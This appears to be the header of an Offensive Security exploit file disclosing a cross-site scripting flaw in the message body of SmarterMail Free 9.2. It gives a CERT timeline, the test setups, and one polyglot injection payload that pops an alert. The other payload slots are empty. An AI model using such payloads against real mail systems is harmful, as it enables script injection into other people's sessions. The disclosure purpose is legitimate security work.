#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: SmarterMail
Version: Free 9.2
Vendor Site: http://www.smartertools.com
Software Download: http://smartertools.com/smartermail/mail-server-software.aspx
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT. Vendor response: "It looks like a scan was run against an older version of SmarterMail. It would need to be tested against either version 9.4 or 10.0."
08 Aug 2012: Public Disclosure
Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{}
2:
3:
4: